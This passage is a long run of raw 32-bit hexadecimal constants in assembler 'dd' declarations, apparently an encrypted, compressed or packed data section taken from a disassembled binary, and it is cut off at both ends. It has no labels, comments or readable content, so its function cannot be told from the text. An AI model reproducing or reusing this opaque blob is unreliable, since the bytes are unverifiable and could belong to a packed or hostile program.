10CD4149h, 826F7C30h, 0CE023D26h, 0F5F6E879h dd 2361F5E1h, 0FA24A042h, 4BE20965h, 4F0926F2h, 5DEDD949h dd 0E61AF89Fh, 0F78BCF96h, 0F6779489h, 0B7D631Dh, 2C00BBEBh dd 3E76C9BFh, 0CCF8114h, 154269C3h, 1A138BEEh, 8F121318h dd 0FB895145h, 6CB136C4h, 1E4AAD20h, 0E417EE95h, 0BEA54E83h dd 71DC4726h, 5D1B2252h, 5E4BD8F0h, 49E40E8Dh, 0D79E9508h dd 5501F84Bh, 0C2885B5Ah, 6D7F61EEh, 29C5D581h, 0D17B961Dh dd 198644CDh, 6863FC08h, 0A24CDFh, 28557EB9h, 0EAC9810Bh dd 2672E75h, 0BC2834A7h, 26423B5Bh, 51863C1Eh, 81195C68h dd 8000C393h, 0BCF071EEh, 0A101F44Ch, 0AC345455h, 0EA5B9B5Dh dd 0C368C179h, 43D76671h, 4DA539D3h, 0B96250CEh, 1AC92BB2h dd 5AE5A34h, 0FB6A80E3h, 0BC0DC41Eh, 9DCC4E57h, 3ED36966h dd 0BAF5AA02h, 3FBC5904h, 300E68B0h, 4F618ABCh, 0F7F4DD1Ah dd 0E9460CD6h, 31202A8Fh, 0AA5FF828h, 99300104h, 69804968h dd 25EE71E9h, 9A09FAAEh, 5B12EC51h, 0DB37941Eh, 11F50A0Bh dd 197A424h, 0CE68BC02h, 65E4741Dh, 818D4075h, 0B7419EF2h dd 25010527h, 0BF665A3Ah, 0E0442C5Eh, 0BE666066h, 0FBE92B75h dd 0A6BE5EB5h, 0B0072087h, 56F92E4h, 99B168B0h, 0F21DC228h dd 0AD986978h, 0A0BB4120h, 3E7C8ED8h, 33775D4Dh, 0ED9D505Bh dd 8A7D7EE9h, 0F019EA24h, 0B05D5300h, 6BC328F6h, 1F992EE9h dd 5AD6236h, 20112EF1h, 82CA61C2h, 7F2A99h, 77FFE2D1h dd 0FACA60B1h, 5C0287C4h, 16973C89h, 6168FEB0h, 5260137Ch dd 0FA2E0058h, 0C157FB19h, 8107E200h, 18713DCAh, 2EC0A034h dd 77CBFF54h, 9A760218h, 0E8F0E945h, 80B13F3h, 4528B0C3h dd 52DE1E5Bh, 4FF9248Bh, 0E2097E64h, 0E9267FFAh, 469273B0h dd 2FB13714h, 0DBE722FCh, 8142056Dh, 6A0652h, 9803EAC1h dd 4C3F20CEh, 51F78A19h, 0F3CA0165h, 75B800C3h, 810E4176h dd 8F03CDBAh, 143BE4Dh, 0E9107C44h, 8D2C0C49h, 555BB4D3h dd 10C64858h, 0FF48B94Fh, 4067FD07h, 90EFB473h, 45D22DCCh dd 68156AF6h, 787648D0h, 0C2BE59FCh, 0FBC8BD45h, 2D9B455h dd 2A73127Bh, 0C3273752h, 5F3E911Bh, 9438F1E4h, 3CE8716Ah dd 0EEC013B6h, 417A85A0h, 38D5F910h, 8C355BFCh, 0E529BC89h dd 7D234993h, 0BE07A2D0h, 67725E0Ah, 0FB418CA2h, 7145253Ah dd 44AD871Fh, 10E80BDCh, 0A368C831h, 8A5AAFE9h, 1FF88D24h dd 0C82DB148h, 305B1311h, 2593C5C5h, 0B2839A02h, 0D8502B3Eh dd 2F5CE910h, 0C9C15D2Eh, 316C9078h, 26E90D06h, 8746618Bh dd 41685351h, 7054F77Eh, 0C518F39Fh, 17E45D10h, 26F5894Ah dd 79CB4C5Bh, 60D00A18h, 2C665DCEh, 186030FFh, 0C7B2AAB8h dd 0E094806Ah, 0ED51133Eh, 0CE7DE035h, 0EB081321h, 27E20BF7h dd 31AB361Dh, 0DA91A450h, 0A74FE969h, 0F327403Ah, 8F73D8A5h dd 5B580174h, 1C338639h, 6807E73Ch, 82A7762h, 9DABCBDBh dd 0B543DB04h, 6CC4A6B5h, 4D0DE859h, 0BEC7200Bh, 0FB8D240h dd 7D4B63F8h, 9C10914Bh, 2F1D3BC6h, 0EE9D166Ch, 0E4F754C3h dd 0FA829D21h, 9DBA01CEh, 42433029h, 31AF4A4Ch, 0D6011199h dd 96864C3Ch, 0C50057E2h, 18120B05h, 92EB8F0Fh, 67E91679h dd 0C5132149h, 803A2C85h, 827D352Dh, 1CD5EA5Eh, 685F963Eh dd 9F9E9969h, 0CBA22623h, 4E212A72h, 865EB212h, 0E1664EDEh dd 0CB8104CDh, 0C0E860AAh, 0FEFBF340h, 7E5EFA2Ch, 2176E90Bh dd 8B353BDh, 9F510AEh, 11186857h, 5C820286h, 47678189h dd 65556621h, 0E9D7F0F9h, 500B7A5Eh, 81290001h, 3C11A4C7h dd 0D7BC6D97h, 2808EF28h, 27B8295Ah, 4AE4F622h, 2FFD21F0h dd 609612Dh, 93E91851h, 0EF68434h, 80C4FED4h, 9784F54Fh dd 1742A4D0h, 8B83DFD3h, 0DD840B5Fh, 0E7827BABh, 2180CF3Ah dd 88BBF480h, 0C3ECE17Dh, 0CB7B7770h, 295EB75h, 79309E08h dd 32A72D1Ah, 62974D0Ch, 62D81166h, 0E3E9746Fh, 839A5C59h dd 5EF2D00Ch, 1FF165Ch, 7879CF68h, 3526307Dh, 82878613h dd 0D31A68C1h, 9C0BBD05h, 0B551C303h, 0A9EB82F7h, 566782FAh dd 0A6F1FB3Bh, 0EAF44D33h, 322DA854h, 27B00764h, 1322ED7h dd 97942FAh, 12344008h, 0AA50500Bh, 76484EAAh, 8B72973Ch dd 28C27696h, 509074C8h, 4E19B151h, 64DBF9E9h, 0E602F320h dd 35742768h, 22274364h, 0C612DBh, 0F644C794h, 67D9FC72h dd 65574E33h, 837F9511h, 0F6F83527h, 6A276877h, 0D9DF9901h dd 0E6046339h, 0C146256Ch, 0C456C602h, 2D0429CCh, 79845782h dd 9C2D6686h, 21665816h, 8888179Eh, 62BB03B5h, 68113739h dd 0CE0ED34Eh, 2B89280Ch, 8B318570h, 0E6C14F48h, 61EDE9D5h dd 8E2A597h, 0FE01D062h, 26880FC8h, 0C0190B6Ah, 84103050h dd 0F61E57AEh, 2A8A0CD8h, 7A3C0C23h, 80A44C34h, 2DE9F1F7h dd 0BF81A632h, 3C6D4B41h, 73955CE6h, 1B26F87Ah, 0AF4AB73Ah dd 904A452Fh, 16B4D6E9h, 3318BD5Bh, 0E4ED0E9h, 0D10CC590h dd 51910436h, 0EC2B0F68h, 0E70893F8h, 0FA853E50h, 0EC3D7507h dd 0F700A41Dh, 17546BC5h, 0C0E14BC1h, 87EC9BFCh, 0CE319F13h dd 73EE3200h, 5E266E76h, 40CB89h, 5358C701h, 52FFDBBh dd 9EE93AB0h, 0C2B9F9h, 60A843AAh, 4FAB890Fh, 955521F7h dd 0D6100E16h, 48F4C43h, 5547E9FEh, 578BC9BCh, 2D3FCCD1h dd 8E6A2343h, 0C34F0E25h dd 0E0E39CEBh, 0EE9DA89h, 0FE616AF6h, 472C013Fh, 186ADFC4h dd 0F216DCC6h, 0E5987Ch, 1E1B1723h, 5503EBC1h, 829BD03h dd 0CD091AD2h, 1E34CC0h, 9AC07C2Eh, 48F87042h, 0C807F772h dd 0D40E7C27h, 3C0810DAh, 6AC1FF5Bh, 11DC6AF3h, 65109340h dd 0C34B715Dh, 0BE05DD0Eh, 5BDA01B8h, 1A335824h, 0B506311Bh dd 6101E799h, 0E4AFB3F5h, 18B5F91Ch, 4B54E9CFh, 53D5D2BEh dd 43270340h, 815E6500h, 8E1AF8F1h, 0CF8D9573h, 78842090h dd 0E7D4530h, 2CD22AF3h, 8B70AB30h, 0D8C8D928h, 33B350Eh dd 44CD1D40h, 455B8506h, 2D08741Ah, 0A3E0273Eh, 0C1A803E9h dd 0C59CF668h, 1DC69D92h, 3014B7B9h, 9A34F8D3h, 0E6D071C2h dd 0DC552015h, 67300FB0h, 0FDF195CAh, 61E02C2Eh, 0BF72405h dd 7C5A2A6Bh, 0C2095902h, 9A51E2D1h, 42BF8F36h, 530FBFE9h dd 6BEA678Bh, 0EE2804D1h, 845A7FB4h, 0E4CC5BDCh, 9AD27B5Ch dd 0DD185570h, 0FE7C0027h, 3D24B129h, 0F658E9E5h, 0C91B3F4Bh dd 0C563906Dh, 61B9E4E9h, 4096EF01h, 21475402h, 59AD7089h dd 1282C39h, 68ED0492h, 7752358Ah, 0C4CA8450h, 72C4F1ACh dd 0DAF6003Dh, 4068830Fh, 0EA6F806Dh, 53348B5Ah, 0B95E0974h dd 133EEB79h, 0EE21AB0Fh, 5B29Ah, 0D373C132h, 21E7014Ah dd 0E9080082h, 949D6ABDh, 9B9B9DC9h, 2FF9E69Ah, 62AC5644h dd 5EC3CF89h, 5FBAD883h, 1CB31F50h, 0E1172B26h, 29A45777h dd 0E7C15491h, 287F544h, 8A386122h, 0AD956693h, 7C4D24D5h dd 0BD690304h, 0BBF5A681h, 5430BFD9h, 0C82B5FD3h, 0E0E3C753h dd 4DFA70ACh, 13812165h, 0E3D78752h, 91D0E0E4h, 4C1DC6BEh dd 0F6024B50h, 4D963EFCh, 9DDDA961h, 20D6E923h, 5C1EF6E2h dd 18C88955h, 301AB190h, 0FCE3648h, 4948F1F3h, 83F78445h dd 59A777ACh, 71E66D48h, 5CAB4A01h, 31F8870Fh, 0CBCD2388h dd 274DDC31h, 5AF48A00h, 0FE9A4A95h, 0E9C178D9h, 10B229E1h dd 52242EF3h, 0CC585AC0h, 2DFE60B7h, 0A2B459E9h, 7C2AF741h dd 4341B1F7h, 0D574007Eh, 0F75A7828h, 5352DF19h, 0B5A5774Ch dd 70C09991h, 0C975FE10h, 804CE178h, 25B15887h, 0B0A24659h dd 48B2E6AFh, 0BC047B4Ch, 0A8D7E3E9h, 6F098203h, 8B9ED41Ch dd 48B11FA9h, 0E122E5Ch, 98F639A9h, 0DE595426h, 92110801h dd 1C605530h, 390A10CBh, 63650512h, 0EB0119CDh, 3AEF32D6h dd 5D031880h, 0FAE98FC2h, 2C2B25F9h, 0B0E01069h, 1B685F09h dd 0E8712DDAh, 0F4D54C95h, 0E7899745h, 3D1C6F19h, 0FEC9D72Fh dd 0C862607Bh, 59542E9h, 50C2ADE6h, 0C9265C38h, 0AE8815D1h dd 3BBA2C63h, 0C9B5A393h, 9003500Fh, 0C4B0950h, 5F073110h dd 2E8EBF80h, 0C1201753h, 0D4621CEEh, 2530FF37h, 3BB0410Ch dd 0F7297901h, 5FF9215Eh, 8B221C2Bh, 0BBE8CB91h, 56017F63h dd 3455055Ch, 63E4F8Bh, 0D53F6533h, 0E65AD630h, 5DE37FF4h dd 491D9A62h, 9D366C83h, 171B029Ch, 5ACE01h, 4F93C4F8h dd 830A5C93h, 0F80892AFh, 0C4DA2069h, 0C0277DD4h, 474D0F4Bh dd 8FB1574Ah, 0BC908BDCh, 59702C79h, 8000D6B5h, 0E305EEFh dd 0B2525BF9h, 9C1569Eh, 0C461CC26h, 5BC02905h, 128BD45Fh dd 0F2EAE673h, 0C0E45590h, 60927757h, 0B116792Bh, 3257A514h dd 0FAEC2EFDh, 0FA1602Dh, 0AD356F81h, 0CE71CA65h, 0C00127CBh dd 95F49422h, 6CC28793h, 50004ED4h, 483761B8h, 0D0F71E46h dd 0D03F005h, 0E9003B6Fh, 36354076h, 0F2BEE53h, 8D93AD2Dh dd 58C301C2h, 4B75DC1h, 1F884BC1h, 0E62D5A03h, 0D9C02FDEh dd 0BCD859EBh, 0EAABC006h, 3FFD555Bh, 6E596FF6h, 0FE247695h dd 6A4F3EFh, 0A043E525h, 88E302Ch, 5F74F74Dh, 14A7B52Ch dd 9F809922h, 4CC5C782h, 29F85558h, 317DB505h, 45AA144h dd 0D4E2C207h, 2FEEC7A7h, 4C6E08B3h, 74506804h, 0DC2DAB8Dh dd 5ECB2233h, 0FDF36A2Eh, 0ED1755A6h, 0D7879244h, 60ECCAD5h dd 0B2E4A6B3h, 9B8C5A26h, 76479855h, 0D683BC6h, 462ABB60h dd 889D5FFEh, 3C07C8h, 97F33BB9h, 0BFE901F2h, 3DEA7099h dd 24219236h, 4675854h, 40325254h, 22050516h, 5F76DF5Eh dd 0E90D9AA3h, 2CE73EB3h, 7E4E7965h, 0E12DF8C0h, 1653A5Ah dd 55CAB386h, 987D82EAh, 2942B40Fh, 8A81CC2h, 0AA15867h dd 0CEE96191h, 561B092Ah, 1EAAFE00h, 577D0820h, 5E78012Ch dd 281DB683h, 2AF9D7F0h, 0C3083B83h, 3432451h, 2C521FCAh dd 85EAB6D9h, 0ED835B50h, 6E760981h, 0EDF2252Ah, 201C20D3h dd 99677C7h, 0FE74B787h, 0E70A52B5h, 0B860FF60h, 0FFC78EEh dd 0DD8F77Fh, 3A183200h, 25CE8C1h, 1216055Ch, 3AB0D179h dd 58C60189h, 0E7E9F129h, 0FDD825FEh, 730AA5ADh, 0BC470879h dd 0BA528530h, 35C1E5Bh, 0B062650Ah, 0A516F9F9h, 2BE3045h dd 0BE502EA2h, 0AE085053h, 596B181Eh, 39960C52h, 0C6B48651h dd 2D015C56h, 38AD0B28h, 0A205C030h, 0C63E8C07h, 6D0700A3h dd 4B30BF7Bh, 4397F416h, 0B988FD2Ah, 96AE92C2h, 0B7A4EFB1h dd 1339BB03h, 0B211EA3Dh, 6DEF02AFh, 84030F0Ah, 31071EC3h dd 0E08775CAh, 589050DBh, 38D46816h, 0B900A1B2h, 286D7CF6h dd 0A19E0BE9h, 0F4E19B25h, 75F20B95h, 98C330C4h, 2850B9B8h dd 2CF3141Ch, 84BAE38Ah, 0C4CA0145h, 0D3084311h, 44E40381h dd 0A4EDE1E9h, 0E52AFD48h, 2EF37294h, 22655BDFh, 0C874880h dd 0C4E2412Dh, 5452B3DCh, 0D50147Bh, 2C10B948h, 7C011AB6h dd 5C6F214h, 584349E2h, 1A7FC25Fh, 6E187E8h, 181413Dh dd 0C854FA8Dh, 0A291CB31h, 268C4E63h, 675B4CD9h, 0C8C8DD12h dd 0B85327h, 812F933Bh, 0C4D16803h, 0C02A2BA7h, 6367EF48h dd 51FB5C5Ch, 5B073A97h, 0A7745055h, 2D59C6D0h, 91A16E4h dd 0E7CBA031h, 446A2041h, 62B23ABh, 4DAF6h, 0FE07B353h dd 80EBD0C3h, 0C05C1BE4h, 0E33C76B9h, 9E70FD5Bh, 0D0E0DA76h dd 0F08CE910h, 4ADCCC5Bh, 0C9243F5Fh, 9D18DBA6h, 5BD8F743h dd 81B494BAh, 6269516Bh, 0D6EE4808h, 6C1B68A9h, 0EAC3DD0h dd 0E122C9Eh, 530CDDD8h, 9895CC51h, 97985926h, 0EF81D85Bh dd 16909F86h, 4F37179Fh, 1A800C70h, 32E93966h, 0C7B740D9h dd 6DDF9F40h, 3177FB2Ch, 0F7F82158h, 0E9092E63h, 0A044FF79h dd 0AB65A098h, 0F0005210h, 14CE3803h, 2E61CC1h, 0CAADC81h dd 580C5935h, 619F0712h, 0C4E16906h, 4CBA0739h, 0B277106Bh dd 0B6A913F2h, 0ED0102F0h, 74C248A8h, 0C5E1FD01h, 505F0841h dd 55C0D683h, 0E98856EBh, 469706F0h, 0A759491Ch, 20AF0502h dd 36427BD6h, 0E865EC86h, 8001EF22h, 0E272FA6h, 85682A5Eh dd 0DF10D6D5h, 3A8A5E2Dh, 4BB0CB5Eh, 8B81F935h, 68CC48B4h dd 94C77BFh, 72E99747h, 45951350h, 0F0AE31C0h, 0E99F305Eh dd 6700864Fh, 0DC7C2BBFh, 0E7C11C2Dh, 6EFCB08h, 8D725780h dd 29066C68h, 5493E9F9h, 90B23230h, 225E69FAh, 4C3F9A60h dd 0B459019h, 540E6678h, 25692A60h, 0C841012Dh, 2DF024F9h dd 2A8F917Fh, 9903A71Fh, 0D4FFC8FEh, 2D32AD1Ah, 65763402h dd 829CDED3h, 0BE03AAEEh, 291AF1ECh, 582E65E9h, 18C29EBDh dd 5E612D1Eh, 4807F614h, 26DF30C9h, 2C7752BDh, 54310CBh dd 0E1A41659h, 4B4F7AD3h, 0A8E98429h, 545392D0h, 68189E5Bh dd 0BA684906h, 9BDD31E9h, 91EEB07Fh, 307914EAh, 5E0C41AEh dd 0F48AC13h, 6B0026Dh, 0F64E6798h, 804747B1h, 0D6F72D76h dd 0D462EDF1h, 7B7C542h dd 630CE9CCh, 146E0F0Dh, 9F445A07h, 0C03CB81Dh, 18FD62F6h dd 4FDD7FF7h, 5A0004Eh, 5B413D92h, 2D50ADB0h, 68155707h dd 782121BDh, 9A6AB404h, 50A45D4Bh, 0B36C1344h, 36E30457h dd 2FBB1F3Ah, 6621800Eh, 75CCF281h, 0D7893E3Bh, 0F9F310AAh dd 3F64FBDAh, 5018A2Fh, 28158C0Fh, 66512571h, 0F70DC481h dd 0E27CD5D0h, 0F4589873h, 655D0523h, 5F868A0Fh, 96F10183h dd 301EFF20h, 509E136Eh, 0A962973Ah, 0D8B4C7F4h, 4A4C2247h dd 28995582h, 225971D3h, 7D5B2CA8h, 0F045E942h, 2D5F0628h dd 16CA7E56h, 7FC0A076h, 0C90AF4EEh, 9F49BA36h, 541E628Ah dd 0A452639Ch, 28C9687Ch, 215A5867h, 2590E9F4h, 7D226E0Ah dd 0B4984359h, 17A8E644h, 0F50823CDh, 0BA6507ECh, 74E95D41h dd 8BF0F519h, 72555233h, 0FD5D45CAh, 0D58B255Eh, 9429A7B9h dd 12C5D3BFh, 688680D9h, 5FC540F7h, 1BBD2526h, 8085692Dh dd 0F3968331h, 402CC909h, 17687966h, 0E98E0302h, 45155A1Fh dd 80A01848h, 0E0C1E8D1h, 606C202h, 43F8FFE9h, 0EB0D17C0h dd 161E14Ah, 1E811505h, 70C50196h, 4DC1E25Dh, 4B17632Dh dd 9A785DF1h, 29DC02DFh, 706031F5h, 0E3251FD5h, 396526Dh dd 8B3A6AF1h, 8FCFD105h, 0AD182761h, 29E1F80Ah, 0F0F30275h dd 0C288FC1h, 0EE24B5A7h, 808B80F2h, 7E6F87Fh, 6872970Dh dd 0DB8FB209h, 401D2D54h, 0A6C8DC6h, 746A4CF9h, 6763C68Fh dd 0C05305Dh, 0E0C9FDD5h, 481A63D1h, 0E1D2D938h, 0D657F151h dd 71A8A08h, 0BDAC5ACEh, 40999985h, 8887B5D7h, 800059EEh dd 0D6F6A6CEh, 0B41E1D68h, 2CB742D0h, 285BE260h, 0C3CCF350h dd 3C686601h, 0F4FBE96Fh, 3B2FD573h, 0FEE35CE0h, 0E6C18582h dd 0D953E649h, 2368706Eh, 0A6837854h, 2926E594h, 0D3A850A7h dd 0F173128h, 773479A3h, 4232A75Eh, 6CBFF2D3h, 0B6301B59h dd 7D680209h, 27E7447Bh, 0F45B5954h, 0C304F113h, 0CD13E78Eh dd 0F2140CE1h, 8B92E925h, 968216D1h, 0B4D05873h, 0D40154CDh dd 2C8D1630h, 126FC86Fh, 2D4B8025h, 0A93D657Bh, 5E89459h dd 7795807h, 4CD95517h, 0CAB3D0D4h, 4103051Fh, 5DE90EE1h dd 0B2317FBBh, 0C981AB97h, 7C0126C3h, 0DB0C810Eh, 57DA4FCFh dd 2E363A70h, 12432A09h, 6E7109C7h, 0D3E6031Ah, 2B2ADE7Fh dd 0A0910F4Bh, 4D02E941h, 0DD41814Bh, 0D94A024Ah, 46D544B1h dd 0C780E9F1h, 0E4595476h, 0E5C00F33h, 14C5A405h, 0D3321CAAh dd 0A0B6A8D8h, 5535266h, 0B551E0B3h, 88B9EC8Ah, 0BCF33C28h dd 3ED4309h, 20CC5410h, 0FC3FE02h, 2B5CC188h, 17A483Fh dd 0E9E6B050h, 0BB724455h, 9269F32Fh, 0E828107Ah, 0A7704D2Ch dd 12109D4Bh, 2715251h, 0FE16B7A6h, 2C3B120h, 35681240h dd 0D1533745h, 0D257D6B9h, 87024A61h, 19B8F12Ah, 7CCB29D2h dd 1CD6F0Ch, 88C33AB4h, 7C12EE4Dh, 0B11A91D3h, 0F4535642h dd 76331BBh, 249C02Dh, 201FC25Ah, 0D4D88FE9h, 53505112h dd 0DBA66784h, 525BDF0Bh, 80897C51h, 0AC5C5C67h, 36B202CDh dd 0D07C0FB6h, 0EC02DA82h, 0BB08800Bh, 0BF587F67h, 0BD55EAA2h dd 6C290A83h, 305D08D1h, 4A93703Ah, 0CA822420h, 3C4B0772h dd 0C5D41BF2h, 61A9BFB2h, 2DE96560h, 4CD0095Ah, 76E74CFEh dd 1DEB03A0h, 139856Dh, 8CF10B5h, 254C5D2Ch, 90A27AF9h dd 19476813h, 14ACDE8Ch, 9D694C34h, 6C1A2101h, 34CFE976h dd 0C25880C4h, 5BCB13B4h, 0B4C9ADE8h, 6689E542h, 440F2EF0h dd 0C933CC68h, 0AC6A2423h, 801C2488h, 35C72B50h, 0DF84F5B2h dd 2C5AEFE0h, 1233DAF7h, 0E2C9E4F9h, 0C17A040Bh, 7551022Fh dd 7B3025Fh, 0D16A5CF4h, 290E8D01h, 0D9503130h, 9547BCE9h dd 96002A3Ah, 67280549h, 7E3394A0h, 0E9313F05h, 35C8C14Bh dd 149B1B68h, 0D47AE87Bh, 8355F190h, 0FBD53099h, 7950A3CBh dd 1A8B69FEh, 0FE17FE71h, 9EA72D52h, 57853648h, 9F11B853h dd 0F081DE1Fh, 0D8F75B5Eh, 4EE91B74h, 0B48D17AAh, 0CA410AEEh dd 0DB9363Bh, 30776812h, 8BE94331h, 0B30EF668h, 44CC0EBh dd 0BAFA0306h, 0F62A3761h, 0A3CB86D5h, 5FF2DAD2h, 0BBD9C009h dd 0DEAC7434h, 12C4D8C4h, 0E5A774E8h, 90CF94F6h, 38850F02h dd 1DF4E8A4h, 27712312h, 625984E0h, 9CE9675Ch, 69B6F8F0h dd 83DB495Ah, 0CE4815A7h, 0DB4FE952h, 0FC8AA817h, 0E62E0F12h dd 7968139Ah, 0BC78DAB3h, 92D1C999h, 0D26D5800h, 24DA0109h dd 8B2588E9h, 8B80E168h, 0F187590Eh, 0D02482B5h, 3CC8F1E0h dd 0A92C6012h, 0C5C10206h, 776CE8A1h, 8B51A889h, 1166BD03h dd 59BC8D32h, 96FEB24Fh, 0AB0250CDh, 2C2D004Eh, 22F59B0h dd 64318489h, 0BB0210FCh, 135418E3h, 31D98255h, 6183DEF9h dd 6C236568h, 0E95682D5h, 5A92A7A4h, 661B54F2h, 1CB52CE6h dd 2C1C3B39h, 4E80EA0h, 2E55EE99h, 0C22163DDh, 0EFF1412Ah dd 0F6D035FDh, 0BC246DFEh, 1C64AD00h, 2EAD11Dh, 3F18F281h dd 2062082Eh, 0A29F1950h, 3D54FD2h, 92F7E681h, 0A9763793h dd 1CC92E8Dh, 0F602492Ch, 10035A1Dh, 5FD26129h, 3859CA88h dd 0A4E7E90Bh, 5CB58FFFh, 180ECB3Ah, 0D387F851h, 4153F05Ah dd 0AE04DBD4h, 10FC68A5h, 98C24FC6h, 0F1409F8Ch, 454AAFE9h dd 0ED8B7064h, 0E9165B52h, 5D9FF016h, 0A534EAC9h, 0AE13C127h dd 0B18BE706h, 0AA94FE20h, 0F03B758Ch, 800813AAh, 7FFB9905h dd 71F585C1h, 0C6E1D102h, 0D454CC86h, 6CC62926h, 76F3BE2Ah dd 0F98F4AC6h, 0BDCA304Ah, 16F21809h, 100E6F98h, 0C947D878h dd 0C1D648EDh, 190458E5h, 0BF42E904h, 0C318EF7Fh, 9A8530h dd 0EA296F1Bh, 5AD0215Dh, 73B72297h, 2A80F11Ah, 8987A4F5h dd 541853A4h, 32A7009Bh, 713DE81h, 0C06BB80Eh, 0F727EE1h dd 0E90B1776h, 15C7CF9h, 73338217h, 0B106CC39h, 246AB25Bh dd 61697609h, 0F28B5A83h, 525DC02Bh, 0EE8066B6h, 0F63F8C73h dd 5D13196Ch, 844DEB47h, 846408DBh, 0E9045AFDh, 0CDA4AEE8h dd 765B12B8h, 0FEE90149h, 20643F30h, 28F8D52Dh, 0D7293501h dd 0E0E9515Ah, 28BE142Fh, 0B5D31C27h, 5A111A2Fh, 0A2702081h dd 7D53BD00h, 0C1455B62h, 0CE0651EDh, 306B802Ah, 0FA4B49D8h dd 56F406E1h, 0EE012216h, 32E911C4h, 458523D4h, 332D4BFDh dd 0B77691E2h, 41927852h, 132E6387h, 72D1D768h, 5968C7BDh dd 9A14EBF2h, 6F25A01Eh, 0BA18603Ah, 0CADB82EBh, 1292EE7Ch dd 35EF1CFCh, 784EEADh, 0CD87B15Bh, 0EDAC30F9h, 13514DECh dd 903FE0EEh, 48B27C4Ch, 5D0840C7h, 36B2884Bh, 75C85810h dd 0AA09530h, 94DA315Fh, 82E950DBh, 0C7D62597h, 0C5ED2EE5h dd 86813435h, 4A895AD1h, 61D65830h, 0D7C39D26h, 0CB666332h dd 9C50A14Ch, 201984B4h, 18EB6886h, 1A62CC96h, 88025C52h dd 0BB01EDF8h, 66E46C0Bh, 0A7AC29E9h, 0DEFA449h, 156DD207h dd 0F1D9B1D0h, 29B56427h, 608C2C94h, 0F8012FDh, 192C84F2h dd 56D8B249h, 7CB434F8h, 4E186858h, 2610A73Ah, 0D18B6C8Dh dd 9DD004EFh, 812ED3B1h, 2FE8941h, 0C0B96ACEh, 243B1DF1h dd 1954041h, 0F201DFFDh, 38183129h, 0A1C71522h, 0F4B24F8Dh dd 622F0193h, 2C490B50h, 61BDA1E5h, 59871DA0h, 0B53F7066h dd 59E88883h, 4AD8A04h, 952642CBh, 0B05987Fh, 1BEBC948h dd 0B2F32332h, 0BCED6664h, 704508E2h, 5DEF3106h, 9298C1E3h dd 4111A204h, 2540283h, 25E87B59h, 0CF7E246Ah, 68F0D00Bh dd 82C20347h, 3F5C6380h dd 0F1EB7C66h, 398B8A2Dh, 98BE750Ah, 35630E06h, 0DB310F48h dd 0C4895515h, 54B11963h, 0E46E3D5Dh, 4051FF89h, 8B3F15E7h dd 5DC2608Dh, 0B06D5549h, 3CD9E5F8h, 0D889013Ah, 200E18FFh dd 5E122DC4h, 2EED0C48h, 0D35D5B07h, 7EF5610Ah, 845ACD6Fh dd 5412E91Ch, 17C1E5C8h, 914D0375h, 563ED2h, 96B6890Fh dd 0AAD03C37h, 0BF8FB58Ch, 458EF81h, 28BBE84Ch, 79E3E94h dd 0EA263509h, 5D30C184h, 0A2F2B157h, 0A50F5B5Ch, 0C5024DA9h dd 561C5Ah, 8725DE51h, 6F291359h, 0BC4EB684h, 0E053CA29h dd 566F0927h, 195667C9h, 0E985685Bh, 28D935C2h, 5001672Dh dd 8E67C6B8h, 1D3B7002h, 606858A8h, 0B000ECBBh, 4BB35314h dd 0DCDE2FE9h, 0F8209FCCh, 0F5BD05FEh, 0C2B3D8D6h, 0CD085212h dd 5C274803h, 0DB0C0402h, 0EF6ED062h, 0E859545h, 0B5B195ACh dd 0C3198011h, 61BB3840h, 9505B889h, 1253F289h, 18148E09h dd 133668E1h, 640E1E57h, 56D2C097h, 4D18FC7Ch, 29B574E9h dd 595778F0h, 0A24C2EC6h, 6D5B1202h, 0C40F8907h, 12BCE383h dd 0B42B692h, 515B0388h, 99E9418Fh, 0C537929Dh, 394B0E12h dd 42F73B8h, 8D0EEA68h, 0F9F343BBh, 4017F4A1h, 8A0F12D1h dd 0B2251100h, 559B413h, 3824137Ah, 0FF7A0D17h, 22963465h dd 0D3313B4Bh, 283F2D9Dh, 75A2282h, 0D6436598h, 9506A3ADh dd 6239D358h, 124AF566h, 5BF2C2A1h, 0FB82955Ch, 0C25F0E2Ah dd 685BFC10h, 0FFA5250Ch, 0A0B65278h, 563D35B4h, 0CCB5F2EEh dd 0E52D2096h, 26FEF67Eh, 5F6F5E64h, 40EF29BBh, 5D9C7873h dd 5F40AC98h, 0B0EB7829h, 215B2DC8h, 0BD022AA9h, 1B5D3906h dd 0DEF7CAD3h, 15B225ACh, 53C06F5Ch, 79196852h, 1C07632Ch dd 0F4B1DF2h, 25E924C8h, 78C41F9Fh, 649F5EF0h, 7C5D00CEh dd 8D0F0CD3h, 0E9800DCCh, 4C01B5BCh, 0E041D1F7h, 0A1DE5990h dd 6482A76Fh, 810F0538h, 3DE1F1BDh, 878CDF43h, 0B7596FA5h dd 0E044844h, 21ED7A4Eh, 0F025964Bh, 0AB8E1329h, 0F110701Ah dd 9E8049E2h, 0F2FC0BE9h, 0CA89C51Dh, 0BA03CD3h, 203EB02Ch dd 0EF84B8EAh, 5DC05164h, 0F596BF00h, 0A6B4B643h, 831AC02Fh dd 0ED6CC0C5h, 1D28619Ch, 2540E916h, 8D6D4E9h, 4912C72Fh dd 0BAEF5F08h, 9E8525Fh, 1A303BDCh, 0B980E165h, 6411ED3h dd 5C5F8948h, 7DF6D6CEh, 5E164261h, 803FEA29h, 2B11B803h dd 0AB6F1FB0h, 4E97FD35h, 0F0876C84h, 5BCBB921h, 0F3C829D8h dd 0ADDF2C8Fh, 3593D3F8h, 3B57CD2Ch, 17943A15h, 3F0D4E9h dd 0E0B40043h, 0B753A6B1h, 6812661Eh, 48E82290h, 0EF09EB8Eh dd 0C1101A0Bh, 8070B652h, 5A70F076h, 0A2CD83Ch, 0B236D3E9h dd 76126D80h, 1F97BD31h, 0CB4AF475h, 0CCA2A53Bh, 0EB6361CAh dd 7EBC0E0h, 0E9CBFE04h, 0BDC83520h, 4B6B1965h, 205B0C33h dd 29051567h, 0BD6E9F3h, 0A3274EFDh, 0FD76EE8Bh, 23D76A8Bh dd 5ADCB389h, 0D0DD8C0Ah, 81FF962h, 0E494F69Bh, 0F7CD8101h dd 0A674BBD3h, 102C9935h, 26319002h, 0E4E9C020h, 0B176505Fh dd 0E66A4BE0h, 25EF58ABh, 2F6CE61Ah, 214ECC7Dh, 185A6871h dd 0DD4BDC8Fh, 102A794Dh, 973BEF7h, 6E17280Ch, 0D8CE8C00h dd 2124A6CCh, 530D0BF5h, 0C13F3F5Bh, 2FF67735h, 0ED58B48Ah dd 6534F97Eh, 1D76FA59h, 2D2CF028h, 686188D9h, 73630CFDh dd 8012B102h, 0F47B7DC9h, 2B9EF2C9h, 2443EC48h, 0E8132D84h dd 